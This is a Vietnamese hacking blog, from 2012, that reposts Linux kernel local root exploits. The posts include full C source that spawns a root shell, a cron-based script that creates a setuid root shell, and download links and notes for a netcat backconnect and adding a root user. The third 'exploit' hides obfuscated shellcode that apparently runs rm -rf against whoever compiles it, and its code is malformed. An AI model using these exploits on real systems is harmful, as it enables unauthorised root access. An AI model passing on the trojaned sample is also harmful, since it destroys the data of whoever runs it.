Vài lời cho các bạn !

Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !

Friday, June 29, 2012

Linux Kernel 2.6.9-34 Local root Exploit


/*
==========================================
Linux Kernel 2.6.9-34 Local root Exploit
==========================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
########################################################################
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*  shell code  */
__asm__ (" __excode: call 1f   \n"
  " 1:  mov $23, %eax  \n"
  "   xor %ebx, %ebx  \n"
  "   int $0x80   \n"
  "   pop %eax   \n"
  "   mov $cmd-1b, %ebx  \n"
  "   add %eax, %ebx  \n"
  "   mov $arg-1b, %ecx  \n"
  "   add %eax, %ecx  \n"
  "   mov %ebx, (%ecx)  \n"
  "   mov %ecx, %edx  \n"
  "   add $4, %edx  \n"
  "   mov $11, %eax  \n"
  "   int $0x80   \n"
  "   mov $1, %eax  \n"
  "   int $0x80   \n"
  " arg:  .quad 0x00, 0x00  \n"
  " cmd:  .string  \"/bin/sh\" \n"
  " __excode_e: nop    \n"
  " .global  __excode   \n"
  " .global  __excode_e   \n"
 );



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/* exploit this shit */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to exploit %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {    
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();
    }
  else
    {
     nice(10);
     while (!(*c));
  sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
    exploit (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
 {
   e[j++] = &p[k];
   k = i + 1;
 }
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}


# 1337day.com [2011-10-08]

Linux Kernel 2.6.22 Local root Exploit



  1. #!/bin/sh
  2. =======================================
  3. Linux Kernel 2.6.22 Local root Exploit
  4. =======================================
  5. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  6. 0     _                   __           __       __                     1
  7. 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
  8. 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
  9. 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
  10. 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
  11. 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
  12. 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
  13. 1                  \ \____/ >> Exploit database separated by exploit   0
  14. 0                   \/___/          type (local, remote, DoS, etc.)    1
  15. 1                                                                      1
  16. 0  [+] Site            : 1337day.com                                   0
  17. 1  [+] Support e-mail  : submit[at]1337day.com                         1
  18. 0                                                                      0
  19. 1               #########################################              1
  20. 0               I'm Angel Injection member from Inj3ct0r Team          1
  21. 1               #########################################              0
  22. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  23. ########################################################################
  24. cat > /tmp/getsuid.c << __EOF__
  25. #include <stdio.h>
  26. #include <sys/time.h>
  27. #include <sys/resource.h>
  28. #include <unistd.h>
  29. #include <linux/prctl.h>
  30. #include <stdlib.h>
  31. #include <sys/types.h>
  32. #include <signal.h>

  33. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";

  34. int main() {
  35.     int child;
  36.     struct rlimit corelimit;
  37.     corelimit.rlim_cur = RLIM_INFINITY;
  38.     corelimit.rlim_max = RLIM_INFINITY;
  39.     setrlimit(RLIMIT_CORE, &corelimit);
  40.     if ( !( child = fork() )) {
  41.         chdir("/etc/cron.d");
  42.         prctl(PR_SET_DUMPABLE, 2);
  43.         sleep(200);
  44.         exit(1);
  45.     }
  46.     kill(child, SIGSEGV);
  47.     sleep(120);
  48. }
  49. __EOF__

  50. cat > /tmp/s.c << __EOF__
  51. #include<stdio.h>
  52. main(void)
  53. {
  54. setgid(0);
  55. setuid(0);
  56. system("/bin/sh");
  57. system("rm -rf /tmp/s");
  58. system("rm -rf /etc/cron.d/*");
  59. return 0;
  60. }
  61. __EOF__
  62. echo "wait aprox 4 min to get sh"
  63. cd /tmp
  64. cc -o s s.c
  65. cc -o getsuid getsuid.c
  66. ./getsuid
  67. ./s
  68. rm -rf getsuid*
  69. rm -rf s.c
  70. rm -rf prctl.sh


  71. # 1337day.com [2011-10-06]


2.6.37 2011 Private Local Root Exploits

  1. *
  2. * modified by CrosS to bypass grsecurity and PaX on
  3. * linux kernels
  4. *
  5. * Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak

  6. * ================================================

  7. * Information leak exploit for CVE-2010-4077 which

  8. * leaks kernel stack space back to userland due to

  9. * uninitialized struct member "reserved" in struct

  10. * serial_icounter_struct copied to userland. uses

  11. * ioctl to trigger memory leak, dumps to file and

  12. * displays to command line.

  13. *

  14. * -- prdelka

  15. *
  16. * by CrosS from r00tw0rm.com - Privat Community

  17. */

  18. #include <termios.h>

  19. #include <fcntl.h>

  20. #include <sys/ioctl.h>

  21. #include <linux/serial.h>

  22. #include <stdio.h>

  23. #include <stdlib.h>

  24. #include <string.h>

  25. printf("Local root 2.6.37 exploit to bypass grsecurity and/or PaX by CrosS.\n");
  26. printf("aka ultimate auto rooter\n");
  27. printf("Shoutz to 1337day cr3w for helping!.\n");
  28. printf("http://www.r00tw0rm.com/forum.\n");



  29. int main(int argc, char* argv[]) {

  30. int fd, ret = 0, i;

  31. struct serial_icounter_struct buffer;

  32. printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");

  33. if(argc < 2){

  34. printf("[ You need to supply a device name e.g. /dev/ttyS0\n");

  35. exit(-1);

  36. };

  37. memset(&buffer,0,sizeof(buffer));

  38. if((fd = open(argv[1], O_RDONLY)) == -1){

  39. printf("[ Couldn't open %s\n",argv[1]);

  40. exit(-1);

  41. }

  42. if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){

  43. printf("[ Problem with ioctl() request\n");

  44. exit(-1);

  45. }

  46. close(fd);

  47. for(i=0;i<=9;i++){

  48. printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);

  49. };
  50. // bm9vYiBwcm90ZWN0aW9u
  51. char shelllcode[] ="x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89 "
  52. "xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68 "
  53. "x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80 ";
  54. (*(void (*)()) shelllcode)();

  55. if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){

  56. printf("[ Can't open file to write memory out\n");

  57. exit(-1);

  58. }

  59. for(i=0;i<=9;i++){

  60. ret += write(fd,&buffer.reserved[i],sizeof(int));

  61. }

  62. close(fd);

  63. printf("[ Written %d leaked bytes to ./leak\n",ret);

  64. exit(0);

  65. }

Thursday, June 28, 2012

Sunday, June 17, 2012

r00t 2.6.18-194.el5 #1 By X-T

Nhìn hàng la biết rùi ko cần phải nói nhiều







http://www.mediafire.com/?ohnea332bevzcp4

r00t 2.6.18-128.el5 và adduser

[+] Listening netcat trên port 1234




Yêu cầu : Phải NAT port 1234 về IP Lan trước
Và phải tắt Firewall của Router đi

Ở đây là 192.168.1.4



[+] Backconnect về




[+] Thực thi exploit


Lưu ý : exploit trên đã được combile lại chmod 0777

[+] Adduser vào



[+] Del user



[+] Exploit

http://www.mediafire.com/?5i5ws5br5us2uwb